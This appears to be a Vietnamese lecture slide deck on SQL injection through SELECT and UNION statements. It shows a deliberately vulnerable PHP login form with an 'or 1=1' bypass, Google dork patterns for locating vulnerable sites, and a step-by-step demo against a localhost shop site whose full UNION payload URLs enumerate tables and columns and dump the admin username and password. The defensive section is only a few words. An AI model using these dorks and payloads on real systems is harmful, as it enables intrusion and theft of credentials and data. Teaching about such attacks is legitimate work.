Nguyễn Danh Thanh
tấn công SQL Injection qua
câu lệnh select, union
Nội dung
•
Mục đích tấn công
•
Cơ chế tấn công
•
Phương thức tấn công
•
Cách phòng chống
•
Demo
Mục đích tấn công
•
Đánh cắp dữ liệu từ web server
•
Thay đổi dữ liệu
•
Deface website
•
Backdoor
Nội dung
•
Mục đích tấn công
•
Cơ chế tấn công
•
Phương thức tấn công
•
Cách phòng chống
•
Demo
Cơ chế tấn công
•
Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào
<form action="" method="post">
Tài khoản: <input type="text" name=“user">
Mật khẩu: <input type="password" name=“pass">
<input type="submit“ value=“Đăng nhập”>
</form>
<?php
$user=$_POST[‘user’];
$pass=$_POST[‘pass’];
$sql=“SELECT * FROM tbl_user WHERE
user=‘$user’ && pass=‘$pass’”;
$query=mysql_query($sql);
$sql=“SELECT * FROM tbl_user WHERE
user=‘0’ or ‘1’=‘1’ ’ &&
pass=‘123456’”;
•
Thông báo lỗi của hệ quản trị CSDL
–
Mysql_fetch_array();
–
Database query failed…
–
You have an error in your SQL systax…
Nội dung
•
Mục đích tấn công
•
Cơ chế tấn công
•
Phương thức tấn công
•
Cách phòng chống
•
Demo
Phương thức tấn công
•
Các dork ( Từ khóa tìm site bị lỗi)
–
index.php?id=
–
news.php id=
–
article.php?id=
–
games.php?id=
–
opinions.php?id=
–
pages.php?id=
–
prod_detail.php?id=
–
view.php?id=
………….
•
Các bước tấn công sử dụng lệnh union select
–
Kiểm tra lỗi sql injection.
–
Tìm số cột mà câu truy vấn tạo ra.
–
Tìm cột chứa thông tin có thể khai thác được.
–
Xem phiên bản của CSDL và ngôn ngữ lập trình.
–
Xác định tên bảng chứa thông tin người quản trị.
–
Xác định tài khoản/mật khẩu của quản trị.
–
Truy cập vào phần giành cho quản trị viên.
Nội dung
•
Mục đích tấn công
•
Cơ chế tấn công
•
Phương thức tấn công
•
Cách phòng chống
•
Demo
Cách phòng chống
•
Phòng chống từ mức xây dựng mã nguồn ứng
dụng
–
Whilelist
–
Backlist
•
Bảo vệ từ mức nền tảng của hệ thống
Nội dung
•
Mục đích tấn công
•
Cơ chế tấn công
•
Phương thức tấn công
•
Cách phòng chống
•
Demo
Demo
•
Công cụ hỗ trợ
–
Add-on hackBar.
–
Web Admin Finder V2.0.
–
Google.
Mục tiêu tấn công
Tìm số cột mà câu truy vấn SQL tạo ra
http://localhost/maytinh/?frame=product_detail&id=289 order by 15 -
Xác định vị trí xảy ra lỗi
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15
Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15
from information_schema.tables where table_schema=database()
Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15
from information_schema.columns where table_name=0x74626c5f75736572
Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),
7,8,9,10,11,12,13,14,15 from tbl_user
Password: thietkewebx.net
Tìm đường dẫn trang quản trị
Localhost/maytinh/admin